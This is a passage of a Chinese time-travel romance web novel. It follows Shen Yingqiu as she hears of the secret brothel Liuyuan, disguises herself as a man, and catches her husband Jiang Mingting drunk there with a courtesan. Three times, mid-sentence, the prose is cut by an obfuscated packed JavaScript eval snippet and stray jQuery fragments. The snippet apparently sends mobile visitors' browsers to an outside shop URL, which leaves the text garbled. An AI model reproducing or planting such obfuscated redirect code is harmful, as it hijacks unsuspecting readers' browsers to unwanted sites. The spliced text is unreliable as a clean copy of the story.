宋铮皎:“等他洗完澡出来,我将衣服砸到他身上,问他又去哪里鬼混了。他倒是坦诚,一五一十地跟我说了,原来最近他迷上了柳园的女人,总往那里钻。”
沈映秋:“柳园?城里有这家青楼吗?我怎么从未听说过。”
穿越之后她中二病发作,做过一些“穿越女必做之事”,比如女扮男装逛青楼。
所以她对城中的青楼还算了解,但从未听说过柳园。
宋铮皎:“青楼也分明面上的和暗地里的,明面上的,就比如迎春楼、百花楼,明晃晃地开在花街柳巷,到了晚上就挂上花灯,大张旗鼓地招揽生意。
“而那暗地里的么,就比如柳园,从外头瞧着像是一户正经人家,园子的主人柳娘子养了几个女儿,对外是养在深闺轻易不肯见人的千金小姐,实则就是角妓。
“柳园一般人进不去,但那些达官显贵爱的就是这个调调,越是难进他们越是想进。”
沈映秋好奇地问:“进去之后呢?柳园里的角妓都有些什么手段?”
宋铮皎好笑地看着她:“怎么,你想进去体验一番?”
沈映秋:“实不相瞒,确实有点。”
明面上的青楼她逛过不少次,柳园这种的却还没逛过呢。
宋铮皎端起茶杯喝了口,“说起来也没什么出奇的,不外乎是披着良家妇女、闺阁千金的皮,对那些男人行勾引之事——写情诗、递花笺、送香囊,什么‘妾似岸边柳,君若水中云’,‘妾心向明月,盼君长怜惜’。
“一来二去的,那些男人偷香窃玉、玩弄良家女子的下流心思就得到满足了。”
沈映秋:“这要是肚子里没点墨水,想偷-情都偷不着呢。”
宋铮皎:“可不是,刘远志这个脑子空空的草包,见被我发现了,竟索性不装了,拿着角妓写的花笺来向我请教如何回,我当时真恨不得一巴掌拍死他。”
沈映秋知道宋铮皎当初嫁给刘远志,看中的是他的家世,而非他这个人,也就不意外她对刘远志的评价了。
她义愤填膺道:“家里已经有你这么一位秀外慧中、蕙质兰心、知书达理、闭月羞花……的夫人了,他竟还要出去寻欢作乐,这个刘远志,真是身在福中不知福。”
宋铮皎好笑道:“行了,再夸下去我都要以为自己是仙女下凡了。呵,男人么,要是不去寻欢作乐才奇怪呢。”
沈映秋:“也不必一杆子打翻所有男人吧,起码明亭就没有去过。”
宋铮皎也没有泼她冷水,“江明亭确实不错,不过你可得把他看好了,男人随时随地都有可能变坏。”
沈映秋点点头,她对江明亭还是很有感情的,虽然这份感情开始的目的不纯,但套路着套路着,她把自己也给套路进去了。
所以她是绝对不能接受江明亭跟别的女人有染的,成婚之前她就明确地跟他说过,他也指天发誓地对她承诺过,除了她之外绝不碰其她的女人。
目前来看,他还没有毁掉当初的誓言。
宋铮皎叹了口气,面染清愁。
沈映秋问:“怎么了?叹什么气?”
宋铮皎:“自从生下瑜姐后,我这肚子就再没动静了,要是哪一日刘远志死在了女人肚皮上,到时候我没有儿子傍身可怎么办?”
沈映秋:“……”
很多时候,她觉得宋铮皎比自己更像一个现代人,比如对男人的洞悉,在婚姻里的清醒。
但因囿于时代的局限性,她总归还是摆脱不了时代的枷锁,所以会执着于生儿子。
“那就努力生一个儿子……”
沈映秋用通俗易懂的方式给她讲了生理期、排卵期的概念,教她在排卵期和刘远志成事,“这样更容易怀孕。”
宋铮皎惊奇:“还有这种说法?你从何得知?”
沈映秋:“在一本杂书上看到的,我也不知真假,不过试试总没坏处。”
宋铮皎:“杂书?不如说是一本奇书,虽听着古怪,但莫名觉得很有道理,那本书在你手里吗?哪日拿给我看看。”
她虽不像父亲那样爱书成痴,但也是喜爱看书的,不然也成不了才女。
沈映秋:“当时我是在一个旧书摊上看到的,就随手翻了翻,没有买下来。”
宋铮皎有些失望,“罢了,许是我与这本书无缘。只是我这边好说,刘远志却不一定肯留下来。”
成亲头一年,刘远志倒是也对她热乎过一阵子,谁知不过三个月,刘远志就三天两头地不着家了,成天在外头拈花惹柳。
她对夫妻之事本也不甚热衷,他不来,她还乐得清静呢。
等到后来懂得生孩子和夫妻之事有着直接的关联后,刘远志已经基本不碰她了。
她也抹不下面子去找他。
夫妻二人就这么冷淡地过到现在。
沈映秋又给她出主意,“他总归是要回家的吧,等他回来了,你就趁着排卵期将他找来,给他制造一点惊喜……”
宋铮皎越听眉头皱得越紧,对她口中的“惊喜”感到抵触和排斥。
“这种法子,也太自甘下贱了,比青楼角妓还不如,我做不到。”
让她用那种羞耻的法子去讨好刘远志,她做不到。
沈映秋发出了一记灵魂拷问:“你想不想生儿子?”
宋铮皎:“……想。”
沈映秋:“要是光靠你一个人就能生儿子,我也不会让你委屈自己,但是咱这不是没法独自生儿子吗?现在刘远志被外头的女人勾走了魂,你要是不用一些刺激大胆的法子,能让他心甘情愿留下来吗?”
宋铮皎摩挲着茶杯,为难道:“那我就试试吧。”
*
晚上从书院下学回来,江明亭看见饭桌上有一道酱肘子。
他夹了一筷子,一尝就道:“金大娘家的,好久没吃了,夫人特意叫人买回来给我尝尝的?”
沈映秋嗔了他一眼:“你想得美,是娘想吃,正好我要出门,就买回来了,给娘送去了两对,这一对咱们自己吃,你是沾了娘的光了。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222421|151230||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>酱肘子是炸过后再卤的,软耙耙肥嘟嘟,吃起来一点也不油腻,像吃肉味的果冻。
江明亭给她盛了碗汤,“今天你出门了?你在坐月子,哪儿能出门吹风呢?”
沈映秋露出一抹凉凉的微笑,“月子昨天就已经坐完了,怎么,这么重要的日子你都能忘?”
江明亭动作一顿,心中警铃大作,慌忙否认:“怎么可能呢?我其实记着的,只是我听人家说,即便坐完了月子也不能立即出门,容易遭风邪入侵。”
说着用手背贴了贴她的额头,装模作样地试探了一番:“还好,没有发烧。”
沈映秋轻哼了声,没再与他计较。
饭后,两人牵着手在园子里散步消食,闲话家常。
一阵风吹来,江明亭将她揽入怀中,“夫人,咱们回去吧,外头风大,要是将你吹病了,我会心疼的。”
什么怕她吹病了,他是想回屋去跟她做那档子事儿吧。
刚才在饭桌上得知她出了月子后,他就躁动了起来,脚在桌子底下蹭她。到园子里来散步,他揽着她腰的手也是不老实。
不过沈映秋也没戳穿他,两人一块儿回了屋。
春寒料峭,夜晚尤甚,在两人去散步的时候,金婵已经让小丫鬟烧好了炭盆,点上了荔枝香。
香气清新,带着丝丝清甜,屋子里又暖又香。
一进屋,沈映秋就被这股香暖的气息裹住了,身子已经酥了一半。
另一半酥在了江明亭的吻中。
一关上门他就抱住她,吻了下来。
亲着亲着两人就到了床上。
江明亭迫不及待地抽掉了腰带,脱掉了外袍。
一个东西从他衣服里掉了出来,正好落在沈映秋手边,她捡起来,是一片红灿灿的枫叶。
应是用药水处理过,所以还保留了刚落下时的鲜活模样。
枫叶上写了两句诗,沈映秋念了出来:“两情若是长久时,又岂在朝朝暮暮。”
江明亭神色大变,慌忙夺过来,三两下揉碎丢进床边的痰盂里,“秋娘,你听我解释。”
沈映秋原本还没觉得怎么,以为这枫叶是江明亭准备送给她的,但是他这个心虚的毁尸灭迹的反应,简直就是心里有鬼。
“好,你解释吧,我听着。”她压着气,等着看他怎么说。
江明亭在她面前蹲下来,像小狗一样将手搭在她膝头,仰头望着她:“秋娘,这片枫叶是我路过一间酒楼时,一个女子从窗户丢下来的,我本打算还给她,但是她说不要了,无情之人的东西还留着做什么?”
沈映秋:“所以你就宝贝地揣回来了?”
江明亭:“冤枉啊秋娘,我只是不忍将它丢弃在路上任人踩踏,打算丢入湖中,让它随水飘走,哪知后来给忘了。”
沈映秋冷嗤:“真是好一番春花秋月、怜香惜玉的琦思,江明亭,你当我是傻子吗?你老实告诉我,这片写有情诗的枫叶,到底是谁送给你的?”
白天她才在宋铮皎那里听说了柳园女子的手段,晚上江明亭身上就掉出来这样一片枫叶,她不得不产生怀疑。
5. 第5章
江明亭:“秋娘,你怎么就是不信我呢,我真的跟丢弃这片枫叶的女子没有任何牵连。”
他看着她的眼睛,表情是那样的急切真诚。
沈映秋不禁迟疑起来,“当真?”
江明亭:“我发誓,若我跟那女子有染,就叫我天打雷劈不得好死。”
对于誓言沈映秋是不信的,要是誓言能成真,那这世上就不存在谎言了,但是古人对誓言还是看得蛮重的。
江明亭肯发下这样的毒誓,可见他这话很有可能是真的。
沈映秋:“这可是你说的。”
若他骗了她,那即便老天不劈她,她也要劈死他。
江明亭“嗯嗯”应声,“放心吧,我绝不会骗你的。”
他觉得这一茬已经过去了,于是得寸进尺,手臂箍着她的腰,朝她压下来,“那我们继续……”
沈映秋一膝盖顶过去,“继续什么?滚去书房睡。”
江明亭赖在她身上不肯起来,抱着她的腰撒娇:“秋娘,咱们不是已经说开了吗?你为何还要生气?我们都多久没有同房了,你就不想我嘛?”
沈映秋揪住他的耳朵使劲儿一拧:“说开了我就不能生气了?赶紧起开,别让我说第二遍。”
江明亭瞅了眼她的脸色,见她沉着脸,也不敢再造作了,哼唧两声,乖乖爬起来。
“好吧,那我就去书房了。”
抱着他的枕头一步三回头地去了。
这一晚,江明亭过得那叫一个辗转反侧,孤枕难眠。
到了第二天,见秋娘还是没给他好脸色,郁闷地上学去了。
课上江明亭不自觉地走神,等下课了得去买件礼物送给秋娘哄她开心,就是不知该买什么?
下课铃声一响,江明亭就抬脚往外走。
至于书册笔墨等物,自有书童替他收拾。
还没走出教室,肩膀上搭上来一只手,“明亭,这么急着走做什么?”
江明亭转过身来,“刘兄,我昨日惹了夫人生气,想着买件东西给她赔礼。”
他口中的“刘兄”,正是刺史之子,宋铮皎的丈夫刘远志。
想到刘远志是花丛老手,对女人颇有手段,江明亭便问他:“刘兄,你说我该买什么才能哄得我夫人开颜呢?”
刘远志:“这简单,你跟我来。”
江明亭骑着马,跟随刘远志来到了一座宅院前,牌匾上书“柳园”二字。
“刘兄,这是什么地方?”
看起来像是一个大户人家,但宣城乃至整个池州,好像并无一个柳姓官员或富豪。
刘远志下了马,随从将他的马迁走,系在了系马桩上。
“跟我进去看看就知道了,这可是个好地方。”
进去后,江明亭便见里头雕梁画栋,小桥流水,俨然一座精致的园林,随处皆是如画般的景致。
刘远志显然是这里的常客,熟门熟路地带着江明亭往里走。
一个身着粉衫绿裙的美貌婢女走过来,向两人见礼,声若莺啭,腔调娇柔:“刘公子来了,您可用过晚膳了?”
刘远志:“还没呢,这不是想着到柳娘子这里来蹭一顿饭么。”
婢女娇笑:“柳园的饭可不是那么好蹭的。”眼波一转,看向一旁的江明亭:“这位公子瞧着眼生,不知怎么称呼?”
江明亭到此时还没有觉出来不对劲,只以为这里是某个大户人家的别院,“在下江明亭。”
婢女眸光一亮,“原来是郡守家的公子,小女子失礼了。”
刘远志拿扇子在她肩头轻敲了一记:“好了莺儿,人既然来了,以后你多的是机会与江公子叙话,快些带我们去用饭。”
叫莺儿的婢女在前头带路。
江明亭悄声问刘远志:“刘兄,你不是说带我来挑礼物么?这柳园到底是什么地方?”
人都已经带来了,刘远志也就不再瞒他,笑得暧昧:“这柳园啊,可是个令男人色授魂与的温柔乡。”
江明亭脸色一变,“刘兄怎可如此戏弄于我?”
转身便走。
刘远志也没拦他,只施施然来了句:“这里的女子个个都是解语花,不仅最擅揣摩男人的心思,也能将女子的心思摸得一清二楚,你不是想哄你夫人开心吗?到时候请教一下她们就行了,保管你能得到一个满意的答案。
“至于请教完之后要不要留下,那就看你自己了,你若不愿意,那些个身娇体弱的女子还能强迫你不成?”
江明亭顿住了步子,站在原地思虑再三,觉得刘兄说得也对。
只要自己能守住,又何须惧怕几个小小女子?
*
沈映秋在家里左等右等都没等到江明亭,以她对他的了解,他今天肯定要带礼物回来哄她的。
怎么这个时候了还没回来?
“夫人。”
翠娥过来了。
观她的神情,沈映秋心里有了不好的预感。
昨天的事她心里到底还是留下了疙瘩,所以江明亭去书院后,她就将翠娥叫了来,让她找人盯着江明亭。
没想到才不过一天,翠娥就来向她汇报了。
她定了定神,“说。”
翠娥:“二爷下学出了书院后,骑着马和刘远志一道离开了,我派去的人一路跟了上去,发现他们去了柳园。”
沈映秋呼吸一窒,“柳园?”
昨天他还信誓旦旦地说自己不会沾染别的女人,今天就去了柳园!
果然皎皎说的是对的,男人就没有一个不偷腥的!
她之前还在皎皎面前维护江明亭呢,说他跟别的男人不一样,结果转眼就被啪啪打脸。
翠娥成日在外行走,替夫人打理生意,所以三教九流的人都接触过,也听过柳园的名声。
得知二爷去了柳园时,她就为夫人打抱不平了。
见夫人面色不好,愈发心疼了,上前扶住夫人的手臂,安慰道:“夫人,二爷平日里并不是那拈花惹草的人,这次又是被刘远志带去的,想来二爷也被蒙在鼓里,并不是诚心要往那烟花之地钻,也许没过多久他就回来了。”
沈映秋心里也怀着这样的期望。
谁知翠娥刚说完这话不久,江明亭的贴身小厮阿墨就回来了。
“夫人,二爷说夫子留他下棋,这盘棋不下完恐怕回不来。”
沈映秋“呵”的冷笑一声,“好一个下棋,既然这么爱下棋,那就让他下到地老天荒去吧,他有本事今晚就别回来。”
阿墨觉得夫人似乎话里有话,头皮有些发麻,难道夫人知道二爷其实不是在跟夫子下棋,而是去了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222422|151230||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
柳园?
他也不敢为二爷辩解,怕说多错多,应了声就去了。
想着赶紧去柳园告诉二爷一声。
再不回去夫人就要生气了!
到时候二爷铁定没好果子吃。
他们这些下人也要跟着受累。
谁知到了柳园,却被刘公子的随从拦了下来,“两位公子正在里头陪着姑娘们打茶围呢,你闯进去岂不是大煞风景?一边玩儿去吧,偏厅里给咱备了酒水点心,你自去取用。”
阿墨哪儿还顾得上吃?
进不去,他只好冲里喊:“二爷,二爷,快出来,夫人还等着你回去吃饭呢。”
屋子里,一片暖意融融,春意盎然。
江明亭已然喝醉了,卧倒在美人膝上。
他隐约听见了外面的呼喊,想起身,这时美人又送了一盏酒到他嘴边,他下意识张嘴喝了下去。
醉得愈发厉害了。
外面的声音也就更加遥远了。
他不知道的是,他这一醉,他的人生将不可抑制地滑向深渊。
*
人高的铜镜立在孔雀底座上,鎏金嵌宝,贵重华丽。
镜面被打磨得光滑锃亮,清晰照出了沈映秋的身影。
此时的她,头发高高梳了起来,以一根金簪束住,身上穿的是男装——
从江明亭的衣柜里现找的一套。
她的身高在女子里算高的,有一米七多,具体多出一米七多少,她也没法测量,不过视觉上看起来只比江明亭矮半个头。
垫一垫肩膀,他的衣服她穿上也不是很大,鞋子里面再垫上几个厚垫子,身高就差不多能赶上江明亭了。
金婵在一旁给她整理衣领子,调整腰带,完了退后端详一番,“夫人穿上二爷的衣裳后,乍一看还以为是二爷站在这里呢。”
说完意识到不对,忙住了嘴。
夫人这会儿正生二爷的气呢,她提起他干嘛?
沈映秋不以为意,“要不怎么有夫妻相一说呢?夫妻当久了,总归有些神似的。”
同样女扮男装作小厮打扮的银果走了进来,“夫人,我换好了。”
沈映秋:“等出了门,就不能叫夫人了,得叫公子。”
银果觉得很好玩儿,当即改口:“是,公子。”
沈映秋:“走吧。”
她要去柳园捉奸,抓江明亭一个现行!
到时候看他还怎么狡辩!
主仆俩走后门悄悄出了府,到车马行雇了一辆马车,前往柳园。
马车上,银果好奇地掀开帘子朝外张望,感觉外头啥啥都新鲜,过了会儿察觉夫人过于沉默了,心情很不好的样子,也不好再往外瞧了。
“夫,哦不,公子,您这次为什么会带我出门啊?”
她只是院子里的一个三等丫鬟,平日里负责的都是洒扫掀帘、端茶倒水这样的杂活儿,压根儿凑不到夫人跟前去。
这一次夫人出门,却唯独点了她。
骄傲的同时,她不禁有些疑惑。
沈映秋:“因为你跑得快。这次我是去抓奸的,柳园里头还不知是个什么情形,若是我在里头遇到危险了,你千万别想着来救我,只管立刻往外跑,跑出去喊人,记住了吗?”
银果重重点头:“我记住了,公子。”
6. 第6章
到了柳园门前,沈映秋下了车,对车夫道:“麻烦小哥找个地方停好车,在外面等我们。”
车夫:“好嘞公子。”
这位公子出手大方,花了五两银子包下了他这这辆马车,他很乐意在这里等他。
沈映秋带着银果来到了大门前,银果上前叩响门环。
门开了,一个小厮打开一道门缝,探出脑袋来,“什么人?”
银果递过去一片金叶子,“客人。”
小厮见到那片金叶子,眯眯眼瞬间张大了,喜笑颜开地接过来,无比热情地将主仆二人迎了进去。
“公子快快里面请。”
沈映秋开门见山:“带我去找江明亭江公子。”
小厮心里升起了警惕,“不知公子是江公子什么人?”
沈映秋没回,银果粗着嗓子替她道:“我们公子跟江公子可是睡一张榻的关系,还不快在前面带路。”
小厮诧异,往沈映秋脸上瞟了一眼,我滴个乖乖,没想到江公子竟是个断袖!他的男相好都找到这里来了。
不过他记得江公子是成了亲的,娶的还是她们宣城首富沈家的女儿,当初沈家姑娘出嫁时,他还跑去瞧了热闹。
沈姑娘的嫁妆那叫一个多咧,一眼望不到头,据说绕了宣城一圈!
这也就是去年的事儿,所以他印象深刻。
没想到成亲还不到一年,沈姑娘就遭了冷落,江公子不仅找了男相好,还跑来她们柳园快活,这真是……叫人替沈姑娘的那些嫁妆不值啊!
小厮心里又兴奋又迟疑,兴奋的是,待会儿说不定能看到一场好戏,迟疑也是来源于此,到时这位公子要是闹起来,不是影响她们柳园的生意吗?
拐角处走来两个人,身着紫衣的美貌妇人正是这柳园的主人柳娘子,旁边的是个身形高大健硕的年轻男子。
皮肤黧黑,眼睛炯炯有神,这么冷的天,却只穿了一件单薄的蓝色布衣。
“小松,这次你送来的词曲着实不错,下次再作出了新词,一定要第一时间拿给柳姨看啊。”
叫小松的男子道:“柳姨,那是自然。”
说话间,两人转过了抄手游廊的拐角,和沈映秋她们撞了个正着。
柳娘子打眼一瞧,就辨出对面那个公子是女子装扮的。
她做的是风月场上的生意,形形色色的男女见得多了,早就练就了一双利眼。
别说男女了,就是那女子是不是个雏儿,她也能瞧出来。
对面那扮成男子的女子,显然就是个尝过男人滋味的。
柳娘子来到沈映秋身边,将手搭在她肩膀上,“公子是第一次来柳园吧?不知怎么称呼?”
沈映秋斜跨一步避开她的手,怕她摸到自己的垫肩。
“在下姓秋。”
柳娘子:“原来是秋公子。”
她又来到沈映秋另一边,凑近她耳边:“这怕是个假名吧?姑娘扮成男子混入柳园,意欲何为?”
沈映秋一惊,她是怎么看出来的?
她自觉伪装得已经很到位了,耳洞、喉结等处都做了处理,脸上也化了妆,为何一个照面就被看破了?
“你在说什么,我听不懂。”
柳娘子妩媚一笑,蓦地抬手抽掉了她的发簪。
沈映秋的一头青丝垂落了下来。
柳娘子:“这下姑娘还有什么话说?”
她端详着这女子的面容,虽然化了妆,真实的容貌被遮掩了,但是光看骨相和气质就知道,这定是位绝色美人。
若是肯来柳园给她当女儿,她柳园的门槛怕是都要被踏破了。
沈映秋定了定神,打算使出金钱攻势,原本站在一旁充当背景板默默看戏的小松忽然开口,将柳娘子叫到了一边。
“柳姨,这女子女扮男装混进柳园,说不定是来捉-奸她男人的,到时候闹起来了可就难看了,我帮您把她弄走,免得耽误了您的生意。”
柳娘子轻拍了下他的胸膛,“行吧,那就交给你了。不过你可得悠着点儿,别伤着了人家。”
沈映秋见两人在那里嘀嘀咕咕,还不时朝自己这边看过来一眼,心下便有了不好的预感。
果不其然,那个黑炭似的高大男人径直朝她走了过来,抓住她的一只手臂就将她往外拖拽。
银果:“你干什么!放开我家公子。”
沈映秋被小松拽着快步往外走,他的手跟铁钳似的,她的手臂在他手里就像是一根蜡烛,随时会被折断。
“这位大哥,有话好好说——”
话音未落,她人已经被他拽着出了门,柳园的大门在身后“砰”一声关上了。
他放开了她。
银果扑过来,“公子,你没事吧?”
沈映秋活动了下手腕,倒是没什么痛感,摇了摇头。
银果对小松怒目而视。
小松反倒冲两人咧嘴一笑,露出了一口和他的肤色很不相称的洁白牙齿,那牙齿生得十分整齐对称。
古代可没有整牙技术,能够天生长出这样一口好牙的人,当真是幸运。
沈映秋不禁有些嫉妒,穿过来这几年,发现原主的牙长得不是很好后,她可是花费了不少精力进行掰正养护,才有了现在这样一口洁白漂亮的牙齿。
为了维护牙齿,她平时都不敢多吃糖。
才这么想着,就见那人从兜里掏出来一颗硬邦邦的麦芽糖丢进嘴里,咔嚓咔嚓咬了起来。
吃得那叫一个轻松无负担。
“这位娘子,刚才得罪了,不过我也是为你好,你的身份已经被柳娘子识破了,若是强行留下来的话,柳娘子可有的是手段招呼你呢。”
沈映秋:“那我真是谢谢你了。”
小松:“不客气,不过如果你实在想进去的话,我可以帮你。”
沈映秋狐疑地看着他:“帮我?你有那么好心?说吧,你想从我这里图谋什么?”
小松:“说图谋就太难听了,不过是最近囊中羞涩,想多赚点银子罢了。”
沈映秋松了口气,原来只是想从她这里赚钱啊,那好办。
她示意了银果一眼。
银果掏出来一片金叶子,昂着下巴朝小松递过去。
小松眼底深处闪过一抹亮光,快速接过来,暗中捏了捏,是真的。
“你是来柳园找人的吧?柳园很大,你第一次来,肯定会在里面迷路的——”
沈映秋:“给我带路,加一片金叶子,我安全出来后,再付你一片金叶子。”
小松:“好!爽快!跟我来。”
沈映秋和银果跟在他身后。
银果悄声道:“公子,他不会是骗我们的吧?”
没想到前面的小松听见了,“我与其骗你们,不如直接动手抢,毕竟你们两个弱女子根本不是我的对手,但是我这个人很有原则,不屑做那种坑蒙拐骗抢的下作事。”
沈映
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222423|151230||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
秋和银果对视一眼,决定暂且相信他。
小松带着两人来到了柳园的后门,沈映秋还以为他说的法子是撬开门带她进去。
哪知他竟然在墙根下蹲了下来,回头示意她:“踩着我的背上去。”
原来竟是让她翻墙!
沈映秋有些迟疑,她还从来没踩过别人的背呢,一时间有些下不去脚。
小松却以为她是感到害怕,不敢踩上去。
“姑娘不必担心,我不会让你摔下去的。”
再磨蹭下去,江明亭说不定都完事儿了。
沈映秋一咬牙,扶着银果踩上了小松的背。
这人的背,真是宽厚又坚实,脚感居然意外地不错。
她忽然想起前世,小白(她养的猫)总是喜欢在她弯腰时跳到她的背上来,莫不是也觉得她的背很好踩?
*
“秋娘——”
江明亭从噩梦中惊醒过来,他梦见秋娘离他而去,不要他了。
神情惊惶地四下寻找起来。
但他还未彻底摆脱醉意,看人都是模糊的,带上了重影。
是以当一个女人的身影凑过来时,他急切地抓住了她的手,“秋娘,是你吗?”
女子柔声问:“江公子,秋娘是谁啊?”
江明亭听见她的声音,便知自己抓错了人,忙放开她的手,“秋娘是我的夫人,我最爱的人……”
女子依偎到他身边,将他的脑袋转向自己这边,“江公子这话真叫人伤心,难道我们方才度过的种种欢愉在你心底没有留下丝毫痕迹吗?”
就在这时,房门被从外面破开了。
屋内烛火辉煌,破门之人在地上投下了一道长长的影子,正是小松。
他转身朝沈映秋做了个“请”的手势。
沈映秋跨过门槛,一眼便看见了亲密搂抱在一处,四目相对,似是正要亲吻的一对男女,其中的男子,化成灰她都认得,可不正是她的好夫君江明亭吗?
这一幕,深深刺痛了她的眼,眼眶像是被人打了一拳,酸涩难忍。
心脏更像是被一只无形的大手给攥紧了,呼吸都变得困难。
她看着她们,一句话也没有说,因为她怕自己一张口,就忍不住泄露出哭腔。
银果却是替她说了,她气愤地冲上前,一把将挨着二爷的女子扯开,“二爷,你怎么能背着夫人跟别的女人卿卿我我呢?你这样怎么对得起夫人?!”
江明亭愣愣地看着她,“银果?你怎么在这里?”
沈映秋上前,“我带她来的。”
银果看着夫人快要碎掉的样子,担心极了,对二爷和那个狐狸精更加愤恨了,狠狠瞪了眼那个狐狸精。
江明亭听见夫人的声音,心头一震,被酒精麻醉的那根神经终于清醒了过来。
“秋娘?你怎么在这里?不是,我是说,秋娘,你听我解释,事情不是你看到的那样——”
他想抓住她的手向她解释,沈映秋退后一步避开。
又退后一步。
旋即决绝地转身离开。
屋中,歪靠在榻上的刘远志看着沈映秋心碎离去的背影,嘴角一勾,晃了晃杯中的酒。
荡漾的酒液映照出他的一双眼睛,不复平日的浪荡轻浮,而是野兽一般嗜血兴奋,像是看着猎物一步步落入自己的陷阱之中。
伤心吧,绝望吧,等你彻底对江明亭死心,就是我趁虚而入的时候了。
7. 第7章
在沈映秋上了马车,即将钻进车厢时,小松叫住了她:“沈夫人,你答应给我的金叶子——”
银果没好气道:“你这人钻钱眼里了吧?没见我们夫人正伤心着呢吗?你就只关心你的金叶子!”
沈映秋没有回头,“银果,把金叶子给他,小松,今晚多谢你了。”
银果将一片金叶子重重拍在小松摊开的手心里,剜了他一眼,“冷血的家伙。”
看着马车离开,小松把玩着手里的金叶子,轻声道:“要是我家财万贯、衣食无忧的话,我也愿意做个温柔又善良的好人。”
“秋娘——”
江明亭追了出来。
他脑子虽清醒了,但身体还醉着,所以四肢颇不协调,落后了一大截,现在才追出来。
看着已然远去的马车,他神情绝望,仿佛这一别就是永远一样。
小松挑了下眉,走上前,“江公子,想追上那辆马车吗?”
江明亭想也不想道:“想!你有办法?”
小松伸出一只手:“诚惠二十两银子。”
江明亭愣了愣,赶紧在身上寻摸起来,却没找到一锭银子一文钱,连装钱的荷包都不见了,想起来先前似乎给了长盈姑娘。
这下可如何是好?
小松善解人意道:“没有银子,值钱的物件也可以的,比如你头上的发簪。”
江明亭当即将头上的白玉发簪摘下来,毫不吝惜地递给他。
小松接过来,好心地将自己头上的竹筷发簪给了他,帮他固定好头发。
而后蹲下来,将江明亭往肩上一扛,拔腿飞奔,朝着行进中的马车追过去。
江明亭被颠得脸色涨红,头发倒挂下来,像扫把一样不停地扫荡着。
“等,等等……”
小松速度丝毫不慢,“还等什么,再等下去马车就要看不见了。”
约莫一刻钟后,扛着江明亭的小松追上了马车,和马车齐平了。
他敲了敲马车壁。
银果疑惑地掀开帘子,往外一看,吓得尖叫一声:“妈呀!”
沈映秋恹恹地靠在车壁上,闭着眼睛,只觉得心头沉甸甸的,听见银果那见鬼似的叫喊,不由睁开眼睛,“怎么了?”
银果指着车窗,说话都结巴了:“夫、夫人,那个小松,他,他追上来了!”
沈映秋挪到车窗边往外一看,对上了小松急速奔跑中,却依然肌肉紧致,五官没有乱飞的一张脸。
他冲她咧嘴一笑,说话声音居然没怎么喘:“沈夫人,江公子付我银子,让我帮他追上你坐的这辆马车。”
沈映秋:“……”
这人为了钱,还真是拼啊。
扛着个大男人还能跑得这么快,身体素质是真的强。
她的思维一不小心溜了号,朝他的腰瞥了眼。
意识到自己在想些什么,她忙掐了下自己的手心,叫停了马车。
小松卸货般将江明亭放下来,吐了口气。
结果江明亭“哇”的一声就朝他吐了。
小松:“……”
车上的银果捂着嘴幸灾乐祸地笑了,哈哈活该!
看着马车重新从自己眼前离开,小松弹了弹手里刚拿到的一片金叶子。
这是沈夫人赔给他的衣裳钱。
这位沈夫人,当真是有钱啊,将金叶子当铜钱使,实在是让他有些……嫉妒。
*
萱辉堂。
江夫人的院子。
夜已深,厅堂里却仍旧点着灯,因为江夫人还没睡,正拉着几个丫鬟婆子打牌。
除了种菜养鸡之外,她最大的爱好就是打牌,从别人手里赢钱了。
今晚她牌运不错,已经赢了一吊钱了,这让她愈发精神奕奕,神采飞扬,丝毫想不起来睡觉这回事。
刚打完一局,正在和牌,一个婆子走进来,凑近江夫人耳边,用在场所有人都听得见的声音道:“老夫人,二房那边出事了!”
江夫人和牌的手不停,“出啥事儿了?快给我说说。”
沈映秋和江明亭是从前面的大门进府的。
喝酒嫖-娼夜不归宿的是他江明亭,她为什么要替他遮遮掩掩呢?她就是要让府里的人知道,江明亭干了什么好事!
至于她带着银果偷溜出府的事,有江明亭嫖-娼在前,她这个又算得了什么?
回了院子,江明亭期期艾艾地来拉沈映秋的手,声音满是哀求和愧疚:“秋娘……”
沈映秋一把甩开他的手,“臭死了,去洗干净再来跟我说话。”
江明亭闻了闻自己的袖子,自己都被熏着了,忙去洗了。
他将自己从头到脚洗了一遍,洗完还让阿墨闻了闻,确定身上再无一丝酒臭味,这才去了正房,小心翼翼地推开卧室门。
当门被推开的那一刻,他心头一松,他真怕秋娘将门从里面反锁了,将他关在外面,幸好没有。
床上,沈映秋也已经洗过澡,换过衣裳了,正拥着被子靠坐在床头,手里拿着一根鸡毛掸子。
床边则摆着一块搓衣板。
看见那块搓衣板,江明亭膝盖就反射性地疼了起来,但他还是走过去,老老实实跪了下来。
先前上了马车后,江明亭就让银果到马车外去,他要第一时间和秋娘认错,但是沈映秋制止了他。
“银果坐着。有话我们回去再说。”
